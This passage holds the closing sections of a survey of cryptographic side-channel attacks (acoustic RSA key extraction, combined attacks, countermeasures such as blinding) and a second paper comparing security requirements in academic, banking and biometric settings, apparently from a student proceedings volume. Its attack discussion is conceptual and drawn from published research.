with surface oscillators [4] to complicate the signals. An-
other method is to partially cancel the radiation by synthe-
sizing vulnerable operations such as substituting ones with
1,0 and zeros with 0,1.

However, it has been reported by the CIA that “it [the cost

of protecting against electromagnetic emanations] was not
cost-effective, especially within the US in protecting against
foreign spies” [8]. Therefore, cost remains a prohibitive fac-
tor with regards to protecting against electromagnetic ema-
nations.

6. ACOUSTIC ATTACKS
During operation, many devices produce a high-pitched noise
due to vibrations in their electronic components. Acous-
tic attacks are cryptanalytic techniques which exploit the
sounds produced during a computation or input-output op-
eration by such computing devices. Research on acoustic
emanations is a relatively neglected area.

Early studies on this eavesdropping channel focused on sounds
produced by impact printers and electromechanical cipher
machines and revelations by former US and UK intelligence
operatives [30, 31] showed that acoustical spying using such
devises were successfully made as early as the mid-1950s.

In recent times, attention on noise emanations has shifted
to the sounds produced by computer keyboards [6, 32] and
internal computer components [26, 13].

In 2004, Dmitri Asonov and Rakesh Agrawal of the IBM Al-
maden Research Center demonstrated that it was possible to
recognize the key being pressed on computer keyboards and
keypads used on telephones and automated teller machines
(ATMs) by differentiating the sound produced by different
keys [6]. This means that an attacker using hidden listening
devices would be able to pick up the text of data being en-
tered via keyboards to recover confidential information such
as passwords. The feasibility of this security threat was veri-
fied in 2005 by researchers from the University of California,
Berkeley [32]. They took sound recordings of multiple users
typing on different keyboards, fed the audio into a computer,
and were able recover up to 96 percent of the characters en-
tered using a smart computer algorithm they devised.

Looking into another source of acoustic emanations, Adi
Shamir and Eran Tromer analysed sounds emitted from ca-
pacitors on computer motherboards and in 2004 showed that
“different RSA keys induce different sound patterns, but it
was not clear how to extract individual key bits” [26, 13].
They conducted further research with Daniel Genkin and
others and in 2013 revealed that they successfully extracted
full 4096-bit RSA decryption keys from laptop computers us-
ing the acoustic signals generated by the computer running
GnuPG’s RSA decryption operations.

6.1 RSA Key Extraction
In their study [13], Genkin et al. made use of the high-
pitched (low bandwidth) acoustic signal emitted by comput-
ers during operation. CPUs change their power consumption
significantly depending on the type and number of opera-
tions performed. The noise is generated by the vibration
of electronic components, such as capacitors and coils, in
the CPU’s voltage regulator as it endeavors to maintain a
constant voltage during varied and bursty software loads.

The researchers observed via their earlier experiments that
in most computers, it was possible to distinguish between
different CPU operations such as HLT, MUL, ADD, MEM
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because each operation has its own characteristic sound -
an acoustic signature. In addition it was possible to distin-
guish various code lengths of the same instruction type via
the acoustic leakage — i.e. the noise produced by a program
executing 20,000 ADD instructions is different from a pro-
gram executing 50,000 ADD instructions in the same time
period. They were also able to show that on some machines
it was possible to distinguish between the acoustic signature
of different RSA secret keys (signing or decryption).

Knowledge of such patterns enabled the researchers to devise
and demonstrate a key extraction attack on a GnuPG’s RSA
decryption operation on chosen ciphertexts (OpenPGP- en-
crypted e-mail messages processed by Enigmail) using dif-
ferent computers and microphonic devices to measure the
sound emanations. The researchers were able to reconstruct
bit by bit within an hour full 4096-bit RSA decryption keys
from various models of laptops using either a mobile phone
placed 30cm from the computer, or a high-quality parabolic
microphone placed 4 meters away.

6.2 Discussion
The researchers described several plausible attack scenarios
where they pose a new threat. These include the use of an
acoustic attack application installed in either the attacker
or the victim’s phone (or any mobile device with a built-in
microphone such as a tablet or laptop) so that when it is
placed in the vicinity of the target computer, the mobile de-
vice can autonomously attack the target. Alternatively, the
attacker builds a web page using the HTML Media Capture
features or a Flash application to access the microphone on
the victim’s computer to listen for encryption keys. A more
dreadful scenario calls for the attacker to put a good micro-
phone inside a co-located server before sending it to the data
center to acoustically extract keys from the nearby servers.

Although the researchers expect that similar attacks will
be feasible for software, protocols and hardware other than
those used in their study, a potential snooper on other sys-
tems has to start back at the beginning to work out all the
new acoustic signatures, not an easy task for anyone who
plan casual attacks. Nevertheless the techniques demon-
strated in this case study post a realistic threat for users of
cryptographic software, as acknowledged by the developers
of GnuPG. The first public posting of this research report
was coordinated with the release of new versions of GnuPG
containing a patch to fix the vulnerability exploited by the
researchers.

6.2.1 Countermeasures
Genkin et al. investigated several measures to mitigate low
bandwidth acoustic attacks. Suitable acoustic shielding, us-
ing acoustic absorbers and sound-proof casings, may be em-
ployed to dampen sound and attenuate the signals. Re-
stricting access to the computer reduces the risk of covert
installation of microphones. However, shielding increases
the costs in design and in air circulation for cooling. Cover-
ing computer ventilation holes with perforated sheet metal
or metal honeycomb may be very successful at attenuating
compromising electromagnetic radiation but it is ineffective
in blocking out sounds. Improving circuit design and us-
ing high-quality electronic components probably form better
shields to reduce the emanations.

A second countermeasure is to place the target computer
in a noisy environment to mask the acoustic leakage. How-
ever, noise generated in a typical noisy environment (such
as a loud computer fan, deafening music, a crowded room
or the outdoors) is usually concentrated at low frequencies,
below 10kHz, whereas the acoustic signals of interest to the
attacker are well above 10KHz. Such typical noises can sim-
ply be filtered out during data acquisition by the attacker.
Placing the target computer in the same room with several
other computers will not succeed in jamming the interesting
signals with similar bandwidth noise as different computers
can be identified by spatial localization, or by their different
acoustic signatures. Thus, what is required is a carefully-
designed source of noise that cannot be easily differentiated
from the informative signals.

A less helpful countermeasure examined by the researchers
is to cover up the sounds from the targeted operation by
loading the computer with multitasks or parallel software
processing. However, they found that different tasks can be
distinguished by their different acoustic spectral signatures
and using multiple cores ends up helping the attack by re-
ducing the signal frequencies where the useful signals are
located.

The countermeasures discussed above were aimed at elim-
inating or reducing the release of acoustic signals by the
target computer. Alternatively, the leaked information can
be rendered uncorrelated to the data desired by the attacker
(for example, the encryption keys) by changing the cipher-
text. RSA ciphertext randomization, or RSA blinding, is
one such method employed by the researchers to effectively
stop their acoustic attack. This blinding technique is the
similar to the one discussed in Section 3.2.1.

Since the value sent to the modular exponentiation routine
is completely random, the chosen ciphertext attack was pre-
vented. However, this countermeasure is costly, since an
additional modular exponentiation is required, albeit with
the exponent e, which is typically small. Also, it does not
affect key distinguishability, which is independent of the ci-
phertext.

Another countermeasure of the same vein is Modulus ran-
domization which may thwart both key distinguishing and
key extraction. The method calls for the randomization
of the modulus during each exponentiation. However, this
method suffers from some some peformance penalty as well.

Ciphertext normalization is another method that can pre-
vent a key recovery attack. The ciphertext is padded either
with leading zeroes or some value n is added to it, to cause
GnuPG’s moduler exponentiation routine to reduce the ci-
phertext mod q in all cases, regardless on the value of the
prime q.

In the end, it appears that, at least for now, there is no easy
way to prevent acoustic snooping.

7. IMPROVING SIDE-CHANNEL ATTACKS
Building on the basic ideas of the side-channel attacks dis-
cussed in the previous sections, this section discusses some
of the ways the attacks have been modified to make even
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stronger attacks. The purpose of this section is to under-
stand some of the possible ways in which an attacker can
use the basic ideas and build a more powerful attack. In
turn, this will help in the design of appropriate and effective
countermeasures.

7.1 Combination of Side-Channel Attacks
Instead of mounting a single side-channel attack, why not
use more than one?

The concept of a multi-channel attack was introduced in [3].
A multi-channel attack is one that simultaneously uses more
than a single type of side-channel attack [3]. An adversarial
model was introduced by Agrawal et al. that considers the
use of attacks such as power and EM at the same time.
One of the other ideas put forth in the paper was to use
DPA-style attacks. The authors introduced a new metric to
improve the normal DPA attack by a factor of up to 3, and
generalized it to a multi-channel DPA attack. However, for
the multi-channel DPA attack to be effective, all the side
channels must have similar leakage characteristics.

The idea of combining more than one side-channel attack
was also explored by Schindler. Schindler demonstrated a
side-channel attack that is a combination of both a tim-
ing attack and a power analysis attack on secret RSA ex-
ponents where modular multiplications are calculated with
Montgomery’s algorithm [24].

We can see that it is certainly plausible for attackers to con-
sider the use of more than one side-channel attack in order to
break the cryptosystem. In fact, attackers do not have to be
limited to the above-mentioned combinations of side-channel
attacks and can try to combine various other side-channel
attacks which have yet to be explored in literature. Com-
binations such as these can render countermeasures specific
for a particular side-channel attack useless. It is therefore
crucial to bear in mind that an attacker is likely to use many
devious means in order to succeed in an attack, and it is not
enough to design countermeasures that only defend against
specific types of side-channel attacks.

7.2 Optimization of Side-Channel Attacks
In order for some of the side-channel attacks to succeed, a
large number of measurements is sometimes required. In
practice, this is not always possible as an attacker may only
have a limited window of opportunity to carry out the at-
tack. A method of using advanced stochastic methods to
optimize side-channel attacks was introduced by Schindler
[25]. His proposed method makes use of stochastic processes
and statistical decision theory.

It is crucial to consider optimizations that can be made to
side-channel attacks. These optimizations can bring out the
true power of a side-channel attack. It is reasonable to think
that an attacker will make use of such optimizations if avail-
able. Therefore, knowing the actual strength of the side-
channel attack is essential when it comes to designing coun-
termeasures to them.

8. GENERAL COUNTERMEASURES
As mentioned in Section 7, techniques for preventing or mit-
igating a particular side-channel attack may not be effective

when an attacker decides to use more than one side-channel.
Therefore, it is also important to focus on the general ideas
for preventing attacks, instead of looking only at specific
ones. In this section, we look at some of the general ideas
for countering side-channel attacks. Some of these ideas are
behind the specific countermeasures developed against a par-
ticular attack.

Keeping in mind that side-channel attacks exploit the re-
lationship between information emitted through the side-
channel and the secret data, we can broadly group counter-
measures into two main types, namely measures to do away
with or reduce the information emitted through the side
channels, and measures to remove the correlation between
the leaked information and the secret data by temporarily
transforming the ciphertext during the cryptographic oper-
ation, which would turn the leaked signals into useless in-
formation.

8.1 Removing or Reducing Information Leak-
ages

An obvious solution to address physical leakage of informa-
tion from side channels is to build shields around the chan-
nels to remove or lessen the emissions. However, shields
that are effective for one channel often prove ineffectual for
another. Enclosing channels with several different layers of
shields is impractical in terms of cost-vs-security trade-offs.
The shields protect all computation even though most of it is
insensitive, and leakage is often unavoidable when essential
performance enhancing mechanisms such as cache memory
are employed.

Another method is to introduce noise to the side channel
necessitating the attacker to collect more measurements and
to muddy his analysis. The down side to this method is that
it is often possible to differentiate the signals of interest from
the introduced signals. A well designed noise generator to
produce noise that cannot be easily differentiated from the
informative emissions may be costly.

We can see that countermeasures against side-channel at-
tacks based on hardware or implementation-level solutions
can only provide partial remedy to the problem. The so-
lutions tend to be channel specific and have to be revised
and fixed every time more efficient side-channel attacks are
launched. These solutions are also costly both in terms of
use and in terms of performance. They usually end up in-
creasing the running time or equivalently decreasing the ef-
ficiency of the attack but not in preventing it altogether.

8.2 Data-Independent Operations
Operations that are performed by the device should ide-
ally be independent of the input data. Application-layer,
algorithm-specific countermeasures adopt this principle to
render side channel emanations less useful to the attacker
and most cryptographic software already include explicit
codes and algorithms as mitigation measures.

A type of such countermeasures is a technique known as
blinding where the input data is randomized before it is
executed and the data transformation is undone after the
computer operation is completed. Hence blinding is very
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effective against attacks that involve collecting side channel
information from input data controlled by the attacker since
the actual operation is executed on a randomized version of
the data, over which the attacker has no control or even
knowledge.

Another application-based solution suggested by Shafi Gold-
wasser at MIT and Guy Rothblum at Microsoft Research is
“to obscure the activity of a program in which it writes and
retrieves data from the memory” [22]. The method involved
slicing a computation into modules to create a computation
sequence. The transferred data is then encrypted in stages
and in multiple ways using different encryption methods, but
the decrypted output delivered at the end of the chain “is
exactly the output of the original computation”. As a result,
an attacker would be able to listen to each computational
module, but he would not be able to draw conclusions of
what the sequence looks like as a whole or what it actually
does.

Given the advantages and comparative effectiveness of algorithm-
specific countermeasures, current research interest is focused
on the choice of cryptographic primitives to achieve leakage
resilient cryptography. Petros Mol explained that a “cryp-
tographic primitive is leakage-resilient, if it remains secure
even if an adversary can learn a bounded amount of ar-
bitrary information about the computation with every in-
vocation. As a consequence, the physical implementation
of a leakage-resilient primitive is secure against every side-
channel as long as the amount of information leaked per
invocation is bounded.” [21]

9. CONCLUSION
In this paper, we have looked at four side-channel attacks
and discussed some of the countermeasures currently avail-
able to mitigate them. The notion of security in practice
is different from that which is in theory. Secure crypto-
graphic algorithms have been designed such that they are
strong against theoretical attacks. However, when they are
implemented in a physical cryptographic device, the device
typically leaks information about the secret key. We cannot
assume that an attacker will not make use of side-channel
leakages to their advantage. Furthermore, side-channel at-
tacks have been shown to be very effective at breaking cryp-
tosystems and recovering secret keys. Side-channel attacks
continue to be a challenge for cryptographic system design-
ers as it is not easy to design an overarching framework that
is able to counter these attacks. As such, it is important
to consider the susceptibility to side-channel attacks when
discussing the notion of security, especially of a particular
implementation.
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ABSTRACT 
The security of systems is of grave importance as without 

proper measures or protocols in place, systems will fall into the 

jaws of malicious attacks; thus allowing sensitive or important 

information to be exploited by attackers with ill-intentions. In 

this paper, we will compare and contrast the security 

requirements resident within three different environments, 

namely Academic, Banking and Biometric.  
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1. INTRODUCTION 
Security is usually misinterpreted as security on a single factor. 

In fact, it constitutes various aspects that are required to be 

considered. Security can be classified as the physical and 

digital security on data, information, applications, equipment 

and facilities. Different environments would have different 

goals that have to be accomplished. Each goal can be 

accomplished through the enforcement of rules or security 

requirements. 

In this paper, the goals of the three environments, Academic, 

Banking and Biometric will be identified, followed by various 

measures taken in the different types of security requirements 

to ensure that these goals are met. This is supplemented with 

the analysis on existing systems used in these environments. In 

addition, possible weakness or exploitations on existing 

systems will also be discussed. To conclude this paper, the 

significance of having security requirements and the 

consequences faced if security requirements were to be absent 

from each of the three environments, will be discussed. 

 

Environment Goals 

Academic 

Information Assets remains secure while 

amidst the open-access culture of 

academic institutions. 

Banking Prevent unauthorized bank transactions 

Biometric 
Identify individuals and detect identity 

forgery 

Table 1. Goals of each environment 

There are five different types of security requirements that are 

categorized by layers with each layer surrounding the former.  

These layers apply to the three environments in ensuring that 

their respective goals are being met. The five layers are: 

 

Figure 1. Five layers of security requirements 

1.1 Data and Information Security  
In any organization or system, the storage of data is required 

and often these data are susceptible to both physical and cyber-

attacks. Although data comes in large magnitude and size, 

attackers are still able to abstract important or sensitive 

information from these unprocessed or raw data. Thus, it is of 

grave importance that limited access to and the protection of 

both data and information must be enforced.  

1.2 Application Security 
Application Security revolves around the protection of 

applications resident within a network of systems from 

unauthorized access or personnel. These applications are the 

front-end components of any environment which stores or 

consist of sensitive and important information. Thus, it is of 

significant importance that applications have to be secured to a 

large extent. 

1.3 Equipment and Facilities Security 
In order to ensure that a system fully protected, it is a necessity 

to ensure that unauthorized physical access to both system 

facilities and its resident equipment are secured with a 

significant level of security protocols or mechanisms. This is to 

ensure that “back-door” access is not allowed despite the 

various security measures placed on the cyber-security of a 

system. 

2. ACADEMIC 
The academic environment is an easy and a probable target of 

cyber-attacks due to reasons such as the immense amount of 

Goals 

Data 

Information 

Applications 

Equipment 

Facilities 
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computing power possessed by institutions resident within 

itself and the fact that they have to maintain a culture of open 

access to its constituents and the public domain. This concept 

of open access brings along the notion of contiguous sharing of 

its information to the public readily without any form of 

restrictions. 

This undermines the security levels of academic institutions, 

ultimately leading to information assets being placed at risk or 

being compromised which includes unauthorized updates to 

grades and reoccurring issues pertaining to registration or 

financial systems used in academic environments. Also, this 

degrades the credibility and viability of academic institutions. 

[10] 

Hence, there is an important need or purpose to design security 

requirements or policies for each of the five layers of security 

requirements, ensuring that a balance is stroke between the 

culture of academic institutions and their level of security. 

2.1 Data and Information 
Academic Institutions usually have large systems to mainly 

manage their student, staff, financial and perhaps their research 

data. These systems are often susceptible to cyber-attacks due 

to the academic institutions’ open-access culture.  

In response to these attacks, it is common to see academic 

institutions install or use various types of security mechanisms 

to counteract against these attacks; ensuring that the systems 

remain safe and secure. Some of these mechanisms include the 

Virtual Private Networks (VPN), Packet Filtering, Email 

Content Filtering and Intrusion Detection Systems (IDS). [11] 

2.1.1 Usage of VPN 
A VPN establishes a secure connection or tunnel between an 

authorized user and the server belonging to the academic 

institution. This ensures that the access to the systems resident 

within an academic institution or environment is only for 

authorized personnel. In addition, VPN is able to log user 

actions; thus ensuring that every access or operation is properly 

accounted for. [11] 

2.1.2 Packet Filtering 
This form of filtering prevents data packets from unknown 

sources from entering the network of academic institutions. 

This ensures that malicious items or packages that are 

accompanied together with cyber-attacks do not possess 

opportunities for hacks towards sensitive data and information 

belonging to the constituents of academic institutions. [11] 

2.1.3 Email Content Filtering 
This form of filtering prevents sensitive information such as 

student, grade or financial information from being transmitted 

outside of the institutions’ network. Institutions can install 

software filters that screens email content before they are sent 

outside of the network. This also ensures that the incident of 

accidental or intentional transmission of sensitive information 

gets prohibited. [11] 

2.1.4 Intrusion Detection System 
An IDS is a system that finds and detects signs of intrusion 

based data and network traffic. The system uses network logs 

to assist network monitoring personnel in identifying and 

dealing with a possible attack or intrusion into a system. These 

personnel can then immediately proceed to shut off access to 

intruders. Also, they are able to identify the location of the 

attacker or hacker and calling campus security for assistance in 

apprehending the attacker. For example, a hacker attempting to 

hack the student portal to obtain the grades or examination 

questions may be an incident whereby having IDS would be of 

great importance and necessity. Thus, this ensures that the 

systems used in academic environments are safe from possible 

cyber-attacks to a certain extent. [11] 

In summary, the usage or installation of these security 

mechanisms evidently ensures that the level of security of 

academic institutions are not comprised or undermined in any 

way; however they may affect the open-access culture of 

academic institutions over time. Hence, institutions should 

have some form of access control mechanism integrated with 

their security protocol, such that depending on the environment 

or context, these security mechanisms can be altered to allow 

the concept of open-access to remain existent within an 

academic environment.  

2.2 Applications 
Similar to before, academic institutions use systems to manage 

their information assets pertaining to their constituents and they 

often have applications available on their server. These 

applications include web applications such as student and staff 

portals where sensitive information is being stored.  

In order to secure such applications, institutions employ the 

usage of Firewalls to ensure that their applications would have 

a lesser susceptibility to possible cyber-attacks. 

2.2.1 Installation of Multiple Firewalls 
A firewall is a technology that prevents or limits access to a 

network, in this case, an academic institution’s internal 

network or intranet from the public domain or the internet. In 

order to further secure the applications in a network from being 

accessed without authorization or attacked, academic 

institutions may install multiple firewalls for each or a group of 

applications in its network. Hence, this ensures that attackers 

will have a difficult experience in attempting to break through 

these firewalls and hopefully during that time, the IDS of the 

institution would be able to detect the attack or intrusion. [11] 

In summary, the usage of multiple firewalls may seem like a 

viable option for academic institutions to employ; however the 

chances of it undermining the open-access culture of academic 

institutions are also significantly high. Thus, in order for the 

open-access culture of academic institutions to remain “alive” 

or existent, the usage of these firewalls should only be 

employed when the information or data resident within an 

application is of a significant importance such that losing or 

exposing it to unauthorized personnel would pose problems or 

threats to the academic institution and its constituents. 

2.3 Facilities and Equipment 
The security of the facilities and its corresponding equipment is 

another issue that poses a significant call of concern. Unlike 

before, where cyber-security was in context, physical security 

also poses a significant level of concern. This is because 

securing a network of systems resident within an academic 

institution does not guarantee the security of the systems from 

physical access or hacks by personnel not from the institution 

but is able to gain unauthorized access to these facilities and/or 

equipment easily. 

Thus, academic institutions ensures that access to facilities 

such as server rooms and its equipment are controlled by 
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access control systems embedded in these facilities. For 

example, access to a server room that contains a server which 

stores the grades of students is protected by an additional layer 

of security that requires personnel to scan their staff card onto 

scanners that determines whether these personnel have been 

granted access to the room.  

Although this protocol does not necessarily undermine the 

“virtual open-access” culture of academic institutions, it does 

however play an important role in ensuring that the physical 

open-access culture of institutions is kept at bay or within 

secure boundaries. 

3. BANKING   
The banking industry aims to provide an environment that is 

secure and convenient for the customers to do their bank 

transactions. 

However, there is an inverse relationship between convenience 

and security. Banks provide services such as online banking 

and mobile banking to enable customers to do their bank 

transactions at their convenience. This results in a compromise 

on the security of the bank transactions as it would be more 

susceptible to attacks in the applications and equipment layer 

where the customers play a role in preventing an illegal 

transaction from being made. 

Thus, banks implement industry standard security mechanisms 

in each of the five layers of security requirements to provide a 

secure environment for their clients to carry out their 

transactions.     

3.1 Data and Information 
Banks stores personal data of clients such as address, contact 

number, bank account number, PIN. Banks also hold 

confidential information of clients, for instance, the bank 

account balance, the types and number of banks account a 

client has, as well as, the transaction history of the bank 

account.    

These data and information are usually stored in database and 

servers provided by large and reputable companies specializing 

in data storage, for example, Oracle and IBM. 

Despite having strong security provided by these companies to 

protect against external attacks, internal attacks could still 

occur. One example of internal attack was the data theft 

committed by a former HSBC IT specialist in the year 2010. It 

was reported that personal data and transaction details of 

24,000 clients were stolen. Although, it was not revealed how 

these data were stolen, it was reported that HSBC had since 

invested 62.3 million euros to improve its security of data 

systems. [2], [4]. 

After the incident, HSBC employ measures such as disabling 

of USB ports so that data could not be copied and leaked out to 

others. In addition, client’s information are prohibited from 

being written to disc or stored on Internet-facing web servers. 

Information of client’s transactions is not kept on web servers 

as these web servers are separated physically from the 

databases that hold the transaction data. 

Although, the systems are more impenetrable, they had to be 

tested against new types of attacks and improve their system 

regularly. Stronger laws also had to be put in place to deter 

internal data theft.     

3.2 Applications and Equipment 
In the computer age, internet and mobile banking are more 

frequently used to carry out bank transactions due to their 

accessibility.  

The application layer is the most frequently targeted as it is one 

of the layers that could be reached easily by external users and 

also where confidential data are transmitted to the banks from 

their clients. Thus, the bank implemented various measures to 

protect attacks on its application layer. On the other hand, the 

bank also introduced 2 factor authentications, issuing a security 

device to their clients to protect their clients against banking 

fraud should there be theft of their login id and password.     

Mobile banking was only introduced recently when 

smartphones became a necessity. Thus, there are fewer known 

cases of attacks and little efforts have been done by both the 

bank and the client to protect themselves against illegal 

transactions. A research finding shows that 90 percent of the 

tested banking applications could initiate non-encrypted 

connections during the operation. This is a possible threat to 

security as attackers could intercept the traffic on this insecure 

network and inject JavaScript of HTML code to display fake 

login prompts to the user. In addition, despite using encryption, 

40 percent of the applications did not validate the authenticity 

of the digital certificates received from the server. This makes 

them prone to man in the middle attacks using fake certificates. 

[3] These are only two of the possible attacks that could be 

done on mobile banking applications. Therefore, banks should 

increase their security standards for mobile banking before they 

fall prey to the attackers.  

Besides the need to improve the security measure on the banks’ 

part, clients also need to regular update themselves of the 

attacks that had occurred, so that they would not fall for the 

same trick again.  One possible attack targeting on the client’s 

ignorance would be the Banking Trojan.  

   

 Figure 2. Illustration of Banking Trojan Attack 

It was unsure of how clients come into contact with these hoax 

applications which tricks clients to download an application 

that could intercept one time passwords (OTP). OTP was part 

of the 2 factor authentication protocol introduced by the banks 

to make possible for unauthorized transactions to be carried out 

with just the ID and password. The OTP was sent in a short 

message service (SMS) to the client’s smartphone. This SMS 

would be intercepted by the application and relayed to the 

attacker, enabling them to carry out illegal transactions. [8]  

Client 

downloads a 

fake mobile 

application 

Client logs in 

with their ID 

and 

password  

A box pops up, 

asking client to 

download an 

application 

Attacker login to 

the actual bank 

application using 

the stolen ID and 

password 

Clients 

receivers a 

one-time 

password 

from the 

bank (OTP) 

Application 

intercepts 

the OTP  

Illegal transaction 

completed 

203



Although it is the bank’s duty to ensure that only authorized 

transaction could be made, clients have a part to play too. 

Attacks such as the Banking Trojan could be prevented if client 

had been more observant and educated on the types of mobile 

banking attacks.    

Mobile banking is a less popular option as compared to Internet 

Banking due to its poorer security mechanisms. Internet 

banking was introduced much earlier and thus, having a time 

advantage to improve and provide a more secure online 

banking environment.  

Online banks transactions take place every minute and every 

second worldwide. It is therefore crucial for banks to ensure 

that their system are stable and running 24 hours a day, 7 days 

a week, safe from malicious attacks. The bank achieves this by 

installing and monitoring industry standard firewalls and 

intrusion detection software every second. Firewalls regulate 

traffic between banks systems and deny access by unauthorized 

parties. On the other hand, intrusion detection software 

identifies unusual network traffic that may contain harmful 

material. Industry standard virus protection was also practiced 

by most banks to protect against the increasing proliferation of 

malicious code, viruses, worms and hybrids on the Internet. In 

addition, penetration testing conducted by independent third 

party regularly to see how the systems cope with them and 

thus, improving their system.  

Protecting banks systems alone are not sufficient to protect 

unauthorized transactions from being carried out. Banks also 

have to ensure the confidentiality and integrity of data and 

information flow from client to their systems. Sensitive data 

such as password is masked to prevent the attacker from 

obtaining the confidential details through shoulder surfing. 

These data are encrypted and transmitted via secured socket 

layer (SSL). Within the databases, these data remains 

encrypted such that even the bank administrative personnel 

does not have access to this information. [5]    

A new version of iB Secure device was also launched to 

protect client against attacks such as identity theft, Trojans, 

phishing, man in the middle. There are attacks that tries to 

obtain client confidential details through various ways. Thus, 

banks employed the two factor authentication protocol with the 

aid of the iB Secure device. With this device, the fraudster not 

only have to know the login credentials but also required to 

enter a security code generated by the iB Secure device when 

attempting to carry out higher risk transactions such as 

transferring of funds to another account. In order to generate 

the security code, the user would need both the device and also 

the client PIN. Furthermore, some transactions require one to 

know the beneficiary – specific information before the code 

could be generated. Beneficiary – specific information are 

information such as account number, bill payee reference 

number, information that are only known by the client. [6]  

Thus, it would be pointless for the fraudster to steal the device 

unless he knows all the information of the client.  

However, similar to mobile banking, ignorant client could be 

tricked into entering their information on the fake websites. 

Although the security code only lasts for 16 seconds, it would 

still be possible for the fraudster to carry out the illegal 

transaction.  

Thus, it is important for banks to educate those clients that 

applied for internet banking account on the ways to 

differentiate real and fake websites.  

3.3 Facilities 
Facilities security in banks are of paramount importance to 

prevent unauthorized access to bank vaults, data and server 

rooms and other rooms which stores sensitive information or 

objects. Surveillance camera, security locks and alarms are 

some of the commonly used tools in facilities security. 2 factor 

authentications are also used to prevent unauthorized access to 

areas where Internet services infrastructure are stored. 

However, equipment alone is not sufficient to ensure security 

of bank’s facilities. Employees need to undergo security 

training and be taught on the protocol to follow when they 

detect unidentified person walking around, such as requesting 

the unidentified person to produce proper identification 

authorized by the bank.  

In addition, bank should have a “trust but verify model”. 

Proper proof of meeting scheduled should be verified by the 

receptionist. The receptionist should verify the ID and the ID 

should be deposited and exchanged for a temporary pass. The 

person in charge of the meeting should also be requested to 

meet the person at the lobby and escort them around the office.   

4. BIOMETRIC 
In the modern days, Biometric authentication is one of the 

prevailing ways to identify people. It uses measurement and 

analysis of individual anatomy, physiology or entrenched 

behavior that are unique to individuals. For instance signature, 

fingerprints, eye retinas and irises, facial patterns, hand 

measurements or veins.  It is used in access control to certain 

facilities or equipment, crime investigation, banking and 

immigration checkpoints.  Each industry has different security 

requirements. Generally, digital image or match point (specific 

points selected by software) of biometrics is stored in the 

database along with other data of a person that is important to 

the company. These match points or digital images are usually 

processed by software before storing into the database. The 

software does comparison between the input biometric data 

against the data stored in database. It is possible to set the 

sensitivity of the biometric comparison depending on the 

organization’s need. Higher sensitivity would trigger more 

false alarms while lower sensitivity increases the probability of 

a fraud being accepted. The subsequent sections will cover 

biometrics in airport border control system follow by issues 

with biometrics.  

4.1 Airport Border Control System 
Since the September 11 incident, biometric is blooming as 

there is a need for better security checks in airport immigration 

checkpoints. The goal is to identify unauthorized personnel 

from entering or exiting a country's border. The security 

requirement is the validity of the passport and that the passport 

belongs to the person using it. A passport can be invalid due to 

several reasons such as over the expiry date, theft passport, 

entirely fake or modified passport. The older way of 

verification is done by having an immigration officer to enter 

or scan the passport details to check that the passport is valid in 

database. After that, the officer uses his/her physical eyes 

power to verify that the passport belongs to the person using it. 

This eye power verification process consists of several 

concerns. Firstly, whether a face matches the image is 
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subjective. Secondly, the officer’s condition affects his/her 

judgment for instance, if he/she is not feeling well or sleepy he 

may be less alert. Plus there is usually people queuing for this 

checking process and the officers have the pressure of 

providing faster checks which may result in overlooks. Lastly, 

it is possible for the officer to collude with passport holders 

undergoing the checks.   

There are several ways to improve the verification process of 

whether the passport belongs to the holder. One way to 

improve facial recognition is to automate it. The automation 

can speed up the checking process and reduce human factor 

affecting the checking process. However, automatic 

comparison of a live image and passport photo is not easy and 

it’s possible for some comparison to trigger false alarm. Thus 

eye power verification is still needed. Another possible 

improvement is to do regular checks on internal staff to prevent 

collusion.  

Tackling unauthorized personnel's access to countries is a 

global issue and it requires cooperation between countries to 

successfully prevent it. Thus this gives rise to international 

standards. One of the recent standards is 9303 for ePassport 

with biometric capability introduced to improve the security of 

machine readable passports. The ePassport has a polycarbonate 

page containing the passport holder’s data. The page is divided 

into two main zones; one is Visual Inspection Zone, containing 

printed data of the passport holder for human inspection and a 

Machine-Readable Zone (MRZ) for machines to get same data 

as the printed data. The page also consists of a Radio 

Frequency Identification (RFID) chip that contains encrypted 

data. The encrypted data includes MRZ data and a mandatory 

facial image of the passport holder. In addition, there are 

holograms that can only be seen under special light. The 

biometric passport adds onto the ePassport by allowing the 

addition of one of two more biometrics of the passport holder 

(fingerprints and iris). The ePassport contains some electronic 

security which includes, anti-skimming that restricts access to 

the chip on the ePassport. Communication is also encrypted to 

prevent eavesdropping when it is being scanned. These actions 

provide privacy protection while integrity and authenticity is 

ensured using Public Key Infrastructure. Each country’s public 

key can be used to verify which country the passport is issued 

at and content in the chip is not modified. With these security 

mechanisms along with the verification of the passport against 

blacklisted passport databases, it is hard to fraud identification 

or ePassport. [7], [9]. 

 

Figure 3. Border control inspection workflow 

Different countries employ different biometrics for 

authentication. Prague airport in Czech Republic uses only 

automatic facial recognition, EasyPass. Passport holder has to 

place its passport for scanning on the eGate and the gate opens 

when the passport is valid. A capturing of the passport holder’s 

live image is then performed with automatic positioning and 

light adjustment to take a good image for comparison. The 

Golden Reader Tool Platinum Edition software compares the 

live image and digital photo stored in the ePassport chip. [13] 

The software will also check against databases for the 

ePassport’s validity. The result displayed to the immigration 

officer will contain image comparison results and validity of 

the checks against databases. In Japan, automatic facial 

recognition and finger prints are used (left and right index 

fingers). During registration of the fingerprint, the software 

selects some specific points in a finger print and hashes the 

data before storing it into the database. The software will select 

the same area of points from the input, hash it and compares it 

with the hash stored in database. The biometric is considered 

valid when both hash matches. [12] 

4.2 Issues with Biometrics 
Despite the advantage of being able to unique identify 

individuals; there are some issues to be considered. Pertaining 

to facial recognition, human faces changes and thus the 

passport photo needs to be changed every few years. For kids, 

the passport should be changed more frequent.  Another issue 

is that a person’s fingerprint can be damaged when exposed to 

chemicals or cut. Also, some people have fading or excessively 

wet or dry fingerprints which affects the fingerprint reading 

accuracy. For these people, it would be difficult or impossible 

to identify them through fingerprints.  Another problem is that 

certain biometrics can be stolen and forged easily. For instance, 

in 2008, there was a woman who fools Japan airport screening 

system by putting tapes on her fingers along with a fake 
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passport. [14] This is to avoid detection of her actual identity as 

she was deported out of Japan. In 2009, there was another 

woman who managed to avoid the detection for similar 

reasons, by performing a surgery which alters her fingerprint. 

[1]  

To conclude, the better way to use biometrics is to use several 

biometrics to identify a person. In addition, it is better to have 

both machine and an alert guard to perform verification. The 

machine would check that the input biometric matches the one 

in database while the guard will ensure that no physical tricks 

are used to trick the machine. 

5. CONCLUSION 
In conclusion, it is evident to see that without proper and 

reliable security requirements put in place, systems resident 

within any environment will be susceptible to both physical 

and cyber-attacks. These attacks can importunate problems or 

issues that maybe difficult to resolve.  

